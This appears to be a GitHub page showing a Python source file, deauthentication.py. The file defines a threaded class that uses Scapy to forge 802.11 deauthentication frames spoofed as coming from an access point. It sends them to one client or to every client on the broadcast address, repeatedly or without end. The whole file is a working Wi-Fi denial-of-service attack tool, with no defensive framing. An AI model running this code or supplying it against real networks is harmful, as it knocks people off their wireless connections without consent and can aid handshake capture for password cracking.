-
Notifications
You must be signed in to change notification settings - Fork 1
/
deauthentication.py
56 lines (50 loc) · 1.55 KB
/
deauthentication.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from typing import Any
import time
from threading import Thread
from scapy.all import sendp
from scapy.layers.dot11 import RadioTap, Dot11, Dot11Deauth
from utils import MonitorMode
class Deauthentication(Thread):
def __init__(self, iface: str, channel: int, bssid_mac: str,
target_mac: str = "ff:ff:ff:ff:ff:ff", count: int = 1, delay: float = 1.0) -> None:
super().__init__()
self._iface: str = iface
self._bssid_mac: str = bssid_mac
self._target_mac: str = target_mac
self._count: int = count
self._delay: float = delay
self._monitor: MonitorMode = MonitorMode(
iface=self._iface,
hopping_channel=False
)
self._monitor.set_channel(channel=channel)
self._running: bool = True
self.start()
def stop(self) -> None:
self._monitor.stop()
self._running = False
def run(self) -> None:
while self._running:
self._send_deauth()
time.sleep(self._delay)
if self._count == 0:
continue
self._count -= 1
if self._count == 0:
self.stop()
break
def _send_deauth(self) -> None:
# addr1 = DA
# addr2 = SA
# addr3 = BSSID
packet: Any = RadioTap()/Dot11(
addr1=self._target_mac,
addr2=self._bssid_mac,
addr3=self._bssid_mac
)/Dot11Deauth(
reason=7
)
sendp(
x=packet,
iface=self._iface
)